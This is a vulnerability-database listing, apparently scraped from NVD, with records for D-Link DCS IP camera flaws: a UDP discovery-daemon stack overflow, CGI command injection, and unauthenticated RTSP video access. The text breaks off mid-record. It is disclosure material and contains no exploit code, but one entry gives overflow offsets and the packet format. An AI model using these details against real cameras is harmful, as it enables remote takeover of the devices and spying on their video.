| ▼ | URL | Tags | |
|---|---|---|---|
| cve@mitre.org | http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html | Third Party Advisory, VDB Entry | |
| cve@mitre.org | https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf | Not Applicable, Third Party Advisory | |
| cve@mitre.org | https://seclists.org/bugtraq/2019/Jun/8 | Mailing List, Third Party Advisory | |
| af854a3a-2127-422b-91ae-364da2661108 | http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html | Third Party Advisory, VDB Entry | |
| af854a3a-2127-422b-91ae-364da2661108 | https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf | Not Applicable, Third Party Advisory | |
| af854a3a-2127-422b-91ae-364da2661108 | https://seclists.org/bugtraq/2019/Jun/8 | Mailing List, Third Party Advisory |
Impacted products
| Vendor | Product | Version | |
|---|---|---|---|
| dlink | dcs-1130_firmware | - | |
| dlink | dcs-1130 | - | |
| dlink | dcs-1100_firmware | - | |
| dlink | dcs-1100 | - |
{
"configurations": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:dcs-1130_firmware:-:*:*:*:*:*:*:*",
"matchCriteriaId": "0DB53465-4FE2-43EF-B2C6-839DFEA80D62",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:dcs-1130:-:*:*:*:*:*:*:*",
"matchCriteriaId": "33A388EC-275D-4180-83E2-AD73F7EEB54F",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:dcs-1100_firmware:-:*:*:*:*:*:*:*",
"matchCriteriaId": "554817F7-7E3D-4D69-90AC-46D86056143B",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:dcs-1100:-:*:*:*:*:*:*:*",
"matchCriteriaId": "704F9608-72CE-49C0-B7D2-F2FE84DF0C74",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "An issue was discovered on D-Link DCS-1100 and DCS-1130 devices. The device runs a custom daemon on UDP port 5978 which is called \"dldps2121\" and listens for broadcast packets sent on 255.255.255.255. This daemon handles custom D-Link UDP based protocol that allows D-Link mobile applications and desktop applications to discover D-Link devices on the local network. The binary processes the received UDP packets sent from any device in \"main\" function. One path in the function traverses towards a block of code that processing of packets which does an unbounded copy operation which allows to overflow the buffer. The custom protocol created by Dlink follows the following pattern: Packetlen, Type of packet; M=MAC address of device or broadcast; D=Device Type;C=base64 encoded command string;test=1111 We can see at address function starting at address 0x0000DBF8 handles the entire UDP packet and performs an insecure copy using strcpy function at address 0x0000DC88. This results in overflowing the stack pointer after 1060 characters and thus allows to control the PC register and results in code execution. The same form of communication can be initiated by any process including an attacker process on the mobile phone or the desktop and this allows a third-party application on the device to execute commands on the device without any authentication by sending just 1 UDP packet with custom base64 encoding."
},
{
"lang": "es",
"value": "Se detect\u00f3 un problema en los dispositivos DCS-1100 y DCS-1130 de D-Link. El dispositivo ejecuta un demonio personalizado en el puerto UDP 5978 que se llama \"dldps2121\" y escucha los paquetes de difusi\u00f3n enviados en 255.255.255.255. Este demonio maneja el protocolo basado en UDP D-Link personalizado que permite a las aplicaciones m\u00f3viles de D-Link y las aplicaciones de escritorio detectar dispositivos D-Link en la red local. El binario procesa los paquetes UDP recibidos, enviados desde cualquier dispositivo en la funci\u00f3n \"main\". Una ruta (path) en la funci\u00f3n se dirige hacia un bloque de c\u00f3digo que procesa paquetes que realizan una operaci\u00f3n de copia ilimitada que permite desbordar el b\u00fafer. El protocolo personalizado creado por Dlink sigue el siguiente patr\u00f3n: Packetlen, Tipo de paquete; M=direcci\u00f3n MAC del dispositivo o transmisi\u00f3n; D=Tipo de dispositivo; C=cadena de comando codificada en base64; prueba=1111 Podemos visualizar que la funci\u00f3n de direcci\u00f3n que comienza en la direcci\u00f3n 0x0000DBF8 maneja todo el paquete UDP y realiza una copia no segura usando la funci\u00f3n strcpy en la direcci\u00f3n 0x0000DC88. Esto genera el desbordamiento del puntero de la pila despu\u00e9s de 1060 caracteres y, por lo tanto, permite controlar el registro PC y resulta en la ejecuci\u00f3n del c\u00f3digo. La misma forma de comunicaci\u00f3n puede iniciarse mediante cualquier proceso, incluido un proceso de atacante en el tel\u00e9fono m\u00f3vil o en el escritorio, y esto permite que una aplicaci\u00f3n de terceros en el dispositivo ejecute comandos en el dispositivo sin ninguna autenticaci\u00f3n mediante el env\u00edo de solo 1 paquete UDP con la codificaci\u00f3n base64 personalizada."
}
],
"id": "CVE-2017-8416",
"lastModified": "2024-11-21T03:33:59.933",
"metrics": {
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "HIGH",
"cvssData": {
"accessComplexity": "LOW",
"accessVector": "ADJACENT_NETWORK",
"authentication": "NONE",
"availabilityImpact": "COMPLETE",
"baseScore": 8.3,
"confidentialityImpact": "COMPLETE",
"integrityImpact": "COMPLETE",
"vectorString": "AV:A/AC:L/Au:N/C:C/I:C/A:C",
"version": "2.0"
},
"exploitabilityScore": 6.5,
"impactScore": 10.0,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "nvd@nist.gov",
"type": "Primary",
"userInteractionRequired": false
}
],
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "ADJACENT_NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 5.9,
"source": "nvd@nist.gov",
"type": "Primary"
}
]
},
"published": "2019-07-02T21:15:10.573",
"references": [
{
"source": "cve@mitre.org",
"tags": [
"Third Party Advisory",
"VDB Entry"
],
"url": "http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html"
},
{
"source": "cve@mitre.org",
"tags": [
"Not Applicable",
"Third Party Advisory"
],
"url": "https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf"
},
{
"source": "cve@mitre.org",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "https://seclists.org/bugtraq/2019/Jun/8"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Third Party Advisory",
"VDB Entry"
],
"url": "http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Not Applicable",
"Third Party Advisory"
],
"url": "https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "https://seclists.org/bugtraq/2019/Jun/8"
}
],
"sourceIdentifier": "cve@mitre.org",
"vulnStatus": "Modified",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-119"
}
],
"source": "nvd@nist.gov",
"type": "Primary"
}
]
}
Vulnerability from fkie_nvd
Published
2020-01-28 20:15
Modified
2024-11-21 01:49
Severity ?
Summary
A Command Injection vulnerability exists in the /var/www/cgi-bin/rtpd.cgi script in D-Link IP Cameras DCS-3411/3430 firmware 1.02, DCS-5605/5635 1.01, DCS-1100L/1130L 1.04, DCS-1100/1130 1.03, DCS-1100/1130 1.04_US, DCS-2102/2121 1.05_RU, DCS-3410 1.02, DCS-5230 1.02, DCS-5230L 1.02, DCS-6410 1.00, DCS-7410 1.00, DCS-7510 1.00, and WCS-1100 1.02, which could let a remote malicious user execute arbitrary commands through the camera’s web interface.
References
Impacted products
| Vendor | Product | Version | |
|---|---|---|---|
| dlink | dcs-3411_firmware | 1.02 | |
| dlink | dcs-3411 | - | |
| dlink | dcs-3430_firmware | 1.02 | |
| dlink | dcs-3430 | - | |
| dlink | dcs-5605_firmware | 1.01 | |
| dlink | dcs-5605 | - | |
| dlink | dcs-5635_firmware | 1.01 | |
| dlink | dcs-5635 | - | |
| dlink | dcs-1100l_firmware | 1.04 | |
| dlink | dcs-1100l | - | |
| dlink | dcs-1130l_firmware | 1.04 | |
| dlink | dcs-1130l | - | |
| dlink | dcs-1100_firmware | 1.03 | |
| dlink | dcs-1100_firmware | 1.04 | |
| dlink | dcs-1100 | - | |
| dlink | dcs-1130_firmware | 1.03 | |
| dlink | dcs-1130_firmware | 1.04 | |
| dlink | dcs-1130 | - | |
| dlink | dcs-2102_firmware | 1.05 | |
| dlink | dcs-2102 | - | |
| dlink | dcs-2121_firmware | 1.05 | |
| dlink | dcs-2121 | - | |
| dlink | dcs-3410_firmware | 1.02 | |
| dlink | dcs-3410 | - | |
| dlink | dcs-5230_firmware | 1.02 | |
| dlink | dcs-5230 | - | |
| dlink | dcs-5230l_firmware | 1.02 | |
| dlink | dcs-5230l | - | |
| dlink | dcs-6410_firmware | 1.00 | |
| dlink | dcs-6410 | - | |
| dlink | dcs-7410_firmware | 1.00 | |
| dlink | dcs-7410 | - | |
| dlink | dcs-7510_firmware | 1.00 | |
| dlink | dcs-7510 | - | |
| dlink | wcs-1100_firmware | 1.00 | |
| dlink | wcs-1100 | - |
{
"configurations": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:dcs-3411_firmware:1.02:*:*:*:*:*:*:*",
"matchCriteriaId": "21E4F54E-78BD-4963-88C0-6B6F9D751C4B",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:dcs-3411:-:*:*:*:*:*:*:*",
"matchCriteriaId": "5A0A639C-EC97-4CF6-B853-B9CE3EEDF399",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:dcs-3430_firmware:1.02:*:*:*:*:*:*:*",
"matchCriteriaId": "3595919A-23A4-42D7-BC22-9AA3E5F196E2",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:dcs-3430:-:*:*:*:*:*:*:*",
"matchCriteriaId": "0337488F-E15D-497E-855F-7719D4809433",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:dcs-5605_firmware:1.01:*:*:*:*:*:*:*",
"matchCriteriaId": "0C400977-3E3C-4010-8EFE-75F30180FF22",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:dcs-5605:-:*:*:*:*:*:*:*",
"matchCriteriaId": "8B92CB5D-CD8E-4768-91CE-C3497C8EA58A",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:dcs-5635_firmware:1.01:*:*:*:*:*:*:*",
"matchCriteriaId": "76933BB0-E0C2-4F81-9B28-879EDAC49302",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:dcs-5635:-:*:*:*:*:*:*:*",
"matchCriteriaId": "CCFFD6C7-9379-4197-B447-1C755E6636AB",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:dcs-1100l_firmware:1.04:*:*:*:*:*:*:*",
"matchCriteriaId": "E0FD5F42-72DD-47F4-ABDD-E0E4D0D1754A",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:dcs-1100l:-:*:*:*:*:*:*:*",
"matchCriteriaId": "70D1E7AB-C4EA-4B97-B788-944244777CFF",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:dcs-1130l_firmware:1.04:*:*:*:*:*:*:*",
"matchCriteriaId": "1B09CDBD-7DC9-4E4C-9FD6-3500C56D0B3E",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:dcs-1130l:-:*:*:*:*:*:*:*",
"matchCriteriaId": "C6DF5842-F02E-4076-9B26-A3CC1EEBC94E",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:dcs-1100_firmware:1.03:*:*:*:*:*:*:*",
"matchCriteriaId": "5A26476D-57A8-481C-80CB-80CC238F083A",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:dlink:dcs-1100_firmware:1.04:*:*:*:*:*:*:*",
"matchCriteriaId": "AD48A2EC-52EB-4C4B-B1ED-EC87822EDF5C",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:dcs-1100:-:*:*:*:*:*:*:*",
"matchCriteriaId": "704F9608-72CE-49C0-B7D2-F2FE84DF0C74",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:dcs-1130_firmware:1.03:*:*:*:*:*:*:*",
"matchCriteriaId": "E5A39F0C-8E3B-41AA-8E1D-E2DABB0A4CCC",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:dlink:dcs-1130_firmware:1.04:*:*:*:*:*:*:*",
"matchCriteriaId": "EA9B1618-9862-470A-AA4D-02A779B314A1",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:dcs-1130:-:*:*:*:*:*:*:*",
"matchCriteriaId": "33A388EC-275D-4180-83E2-AD73F7EEB54F",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:dcs-2102_firmware:1.05:*:*:*:*:*:*:*",
"matchCriteriaId": "28CE404D-2DFF-4203-8954-FA579EF5924B",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:dcs-2102:-:*:*:*:*:*:*:*",
"matchCriteriaId": "78CD04CA-964A-4D74-B30E-7DC53E1858B6",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:dcs-2121_firmware:1.05:*:*:*:*:*:*:*",
"matchCriteriaId": "C3435DC0-44C2-440D-9C56-39EC06782BBC",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:dcs-2121:-:*:*:*:*:*:*:*",
"matchCriteriaId": "FC1DE485-2705-4394-BC93-0BE99FE02F12",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:dcs-3410_firmware:1.02:*:*:*:*:*:*:*",
"matchCriteriaId": "1DC3F994-76E7-487C-A144-FC6C5AFDC5D9",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:dcs-3410:-:*:*:*:*:*:*:*",
"matchCriteriaId": "4558EBD8-5FB0-487B-88E6-17E76B2B68BC",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:dcs-5230_firmware:1.02:*:*:*:*:*:*:*",
"matchCriteriaId": "117E4B04-541F-4398-B644-959329FF45E5",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:dcs-5230:-:*:*:*:*:*:*:*",
"matchCriteriaId": "A17CC0BD-D224-4A30-A8CF-07E469F4BFA4",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:dcs-5230l_firmware:1.02:*:*:*:*:*:*:*",
"matchCriteriaId": "5265C1F6-0246-4AF4-B348-86D3F8C95C0D",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:dcs-5230l:-:*:*:*:*:*:*:*",
"matchCriteriaId": "94FFCE95-2A81-465F-B4EB-3B1BD687D87F",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:dcs-6410_firmware:1.00:*:*:*:*:*:*:*",
"matchCriteriaId": "2915F59C-512F-44B7-BB67-B699B622C055",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:dcs-6410:-:*:*:*:*:*:*:*",
"matchCriteriaId": "994CFC4C-7EC2-450A-9E05-940EE3CBA9D5",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:dcs-7410_firmware:1.00:*:*:*:*:*:*:*",
"matchCriteriaId": "4DDC8CC0-F1B5-4EA4-A822-50FA02476365",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:dcs-7410:-:*:*:*:*:*:*:*",
"matchCriteriaId": "7AC168D7-AFFD-44A9-8CB7-29E1EDF0849A",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:dcs-7510_firmware:1.00:*:*:*:*:*:*:*",
"matchCriteriaId": "4466E781-46D0-4A55-9136-3842E93C228A",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:dcs-7510:-:*:*:*:*:*:*:*",
"matchCriteriaId": "EF686286-DFA4-49CE-BF64-D6BA849FDCD4",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:wcs-1100_firmware:1.00:*:*:*:*:*:*:*",
"matchCriteriaId": "113F0277-63F1-4623-B668-88865ADFAD83",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:wcs-1100:-:*:*:*:*:*:*:*",
"matchCriteriaId": "D06ED3F1-B59E-447F-B4E6-D95FB834A6C1",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "A Command Injection vulnerability exists in the /var/www/cgi-bin/rtpd.cgi script in D-Link IP Cameras DCS-3411/3430 firmware 1.02, DCS-5605/5635 1.01, DCS-1100L/1130L 1.04, DCS-1100/1130 1.03, DCS-1100/1130 1.04_US, DCS-2102/2121 1.05_RU, DCS-3410 1.02, DCS-5230 1.02, DCS-5230L 1.02, DCS-6410 1.00, DCS-7410 1.00, DCS-7510 1.00, and WCS-1100 1.02, which could let a remote malicious user execute arbitrary commands through the camera\u2019s web interface."
},
{
"lang": "es",
"value": "Existe una vulnerabilidad de inyecci\u00f3n de comandos en el script /var/www/cgi-bin/rtpd.cgi en las c\u00e1maras IP D-Link DCS-3411/3430 firmware 1.02, DCS-5605/5635 1.01, DCS-1100L / 1130L 1.04, DCS- 1100/1130 1.03, DCS-1100/1130 1.04_US, DCS-2102/2121 1.05_RU, DCS-3410 1.02, DCS-5230 1.02, DCS-5230L 1.02, DCS-6410 1.00, DCS-7410 1.00, DCS-7510 1.00 y WCS-1100 1.02, que podr\u00eda permitir a un usuario malintencionado remoto ejecutar comandos arbitrarios a trav\u00e9s de la interfaz web de la c\u00e1mara."
}
],
"id": "CVE-2013-1599",
"lastModified": "2024-11-21T01:49:57.980",
"metrics": {
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "HIGH",
"cvssData": {
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "COMPLETE",
"baseScore": 10.0,
"confidentialityImpact": "COMPLETE",
"integrityImpact": "COMPLETE",
"vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C",
"version": "2.0"
},
"exploitabilityScore": 10.0,
"impactScore": 10.0,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "nvd@nist.gov",
"type": "Primary",
"userInteractionRequired": false
}
],
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 5.9,
"source": "nvd@nist.gov",
"type": "Primary"
}
]
},
"published": "2020-01-28T20:15:11.587",
"references": [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Third Party Advisory",
"VDB Entry"
],
"url": "http://www.exploit-db.com/exploits/25138"
},
{
"source": "cve@mitre.org",
"tags": [
"Third Party Advisory",
"VDB Entry"
],
"url": "http://www.securityfocus.com/bid/59564"
},
{
"source": "cve@mitre.org",
"tags": [
"Third Party Advisory",
"VDB Entry"
],
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/83941"
},
{
"source": "cve@mitre.org",
"tags": [
"Third Party Advisory",
"VDB Entry"
],
"url": "https://packetstormsecurity.com/files/cve/CVE-2013-1599"
},
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Mailing List",
"Third Party Advisory"
],
"url": "https://seclists.org/fulldisclosure/2013/Apr/253"
},
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Third Party Advisory",
"VDB Entry"
],
"url": "http://www.exploit-db.com/exploits/25138"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Third Party Advisory",
"VDB Entry"
],
"url": "http://www.securityfocus.com/bid/59564"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Third Party Advisory",
"VDB Entry"
],
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/83941"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Third Party Advisory",
"VDB Entry"
],
"url": "https://packetstormsecurity.com/files/cve/CVE-2013-1599"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Mailing List",
"Third Party Advisory"
],
"url": "https://seclists.org/fulldisclosure/2013/Apr/253"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities"
}
],
"sourceIdentifier": "cve@mitre.org",
"vulnStatus": "Modified",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-78"
}
],
"source": "nvd@nist.gov",
"type": "Primary"
}
]
}
Vulnerability from fkie_nvd
Published
2019-07-02 20:15
Modified
2024-11-21 03:33
Severity ?
Summary
An issue was discovered on D-Link DCS-1130 and DCS-1100 devices. The binary rtspd in /sbin folder of the device handles all the rtsp connections received by the device. It seems that the binary loads at address 0x00012CF4 a flag called "Authenticate" that indicates whether a user should be authenticated or not before allowing access to the video feed. By default, the value for this flag is zero and can be set/unset using the HTTP interface and network settings tab as shown below. The device requires that a user logging to the HTTP management interface of the device to provide a valid username and password. However, the device does not enforce the same restriction by default on RTSP URL due to the checkbox unchecked by default, thereby allowing any attacker in possession of external IP address of the camera to view the live video feed. The severity of this attack is enlarged by the fact that there more than 100,000 D-Link devices out there.
References
| ▼ | URL | Tags | |
|---|---|---|---|
| cve@mitre.org | http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html | Third Party Advisory, VDB Entry | |
| cve@mitre.org | https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf | Exploit, Third Party Advisory | |
| cve@mitre.org | https://seclists.org/bugtraq/2019/Jun/8 | Mailing List, Third Party Advisory | |
| af854a3a-2127-422b-91ae-364da2661108 | http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html | Third Party Advisory, VDB Entry | |
| af854a3a-2127-422b-91ae-364da2661108 | https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf | Exploit, Third Party Advisory | |
| af854a3a-2127-422b-91ae-364da2661108 | https://seclists.org/bugtraq/2019/Jun/8 | Mailing List, Third Party Advisory |
Impacted products
| Vendor | Product | Version | |
|---|---|---|---|
| dlink | dcs-1100_firmware | - | |
| dlink | dcs-1100 | - | |
| dlink | dcs-1130_firmware | - | |
| dlink | dcs-1130 | - |
{
"configurations": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:dcs-1100_firmware:-:*:*:*:*:*:*:*",
"matchCriteriaId": "554817F7-7E3D-4D69-90AC-46D86056143B",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:dcs-1100:-:*:*:*:*:*:*:*",
"matchCriteriaId": "704F9608-72CE-49C0-B7D2-F2FE84DF0C74",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:dcs-1130_firmware:-:*:*:*:*:*:*:*",
"matchCriteriaId": "0DB53465-4FE2-43EF-B2C6-839DFEA80D62",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:dcs-1130:-:*:*:*:*:*:*:*",
"matchCriteriaId": "33A388EC-275D-4180-83E2-AD73F7EEB54F",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "An issue was discovered on D-Link DCS-1130 and DCS-1100 devices. The binary rtspd in /sbin folder of the device handles all the rtsp connections received by the device. It seems that the binary loads at address 0x00012CF4 a flag called \"Authenticate\" that indicates whether a user should be authenticated or not before allowing access to the video feed. By default, the value for this flag is zero and can be set/unset using the HTTP interface and network settings tab as shown below. The device requires that a user logging to the HTTP management interface of the device to provide a valid username and password. However, the device does not enforce the same restriction by default on RTSP URL due to the checkbox unchecked by default, thereby allowing any attacker in possession of external IP address of the camera to view the live video feed. The severity of this attack is enlarged by the fact that there more than 100,000 D-Link devices out there."
},
{
"lang": "es",
"value": "Se detect\u00f3 un problema en los dispositivos DCS-1130 y DCS-1100 de D-Link. El rtspd binario en la carpeta /sbin del dispositivo maneja todas las conexiones rtsp recibidas por el dispositivo. Al parecer el binario carga en la direcci\u00f3n 0x00012CF4 un flag llamado \"Autenticar\" que indica si un usuario debe estar autenticado o no anterior a permitir el acceso a la fuente de video. Por defecto, el valor de este flag es cero y se puede configurar y desconfigurar mediante la interfaz HTTP y la pesta\u00f1a de configuraci\u00f3n de red, como se muestra a continuaci\u00f3n. El dispositivo requiere que un usuario inicie sesi\u00f3n en la interfaz de administraci\u00f3n HTTP del dispositivo para suministrar un nombre de usuario y una contrase\u00f1a v\u00e1lida. Sin embargo, el dispositivo no impone la misma restricci\u00f3n por defecto en la URL RTSP debido a que la casilla de comprobaci\u00f3n no est\u00e1 activada por defecto, lo que permite que cualquier atacante que posea la direcci\u00f3n IP externa de la c\u00e1mara visualice la fuente de v\u00eddeo en tiempo real. La severidad de este ataque se incrementa por el hecho de que hay m\u00e1s de 100.000 dispositivos D-Link instalados."
}
],
"id": "CVE-2017-8405",
"lastModified": "2024-11-21T03:33:58.197",
"metrics": {
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "MEDIUM",
"cvssData": {
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "NONE",
